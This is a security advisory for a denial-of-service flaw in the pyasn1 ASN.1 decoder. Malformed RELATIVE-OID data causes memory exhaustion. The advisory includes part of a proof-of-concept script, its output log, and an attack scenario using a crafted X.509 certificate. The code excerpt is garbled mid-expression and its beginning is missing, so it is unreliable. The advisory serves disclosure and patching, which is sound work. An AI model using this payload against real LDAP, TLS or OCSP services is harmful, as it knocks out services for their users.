GHSA-63vm-454h-vhhq pyasn1 has a DoS vulnerability in decoder

• PyPI pyasn1: >= 0.6.1, < 0.6.2 → fixed in 0.6.2

Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. Details The integer issue can be found in the decoder as `reloid += ((subId 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: DoS Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. Impact This issue can affect resource consumption and hang systems or stop services. This may affect: • LDAP servers • TLS/SSL endpoints • OCSP responders • etc. Recommendation Add a limit to the allowed bytes in the decoder.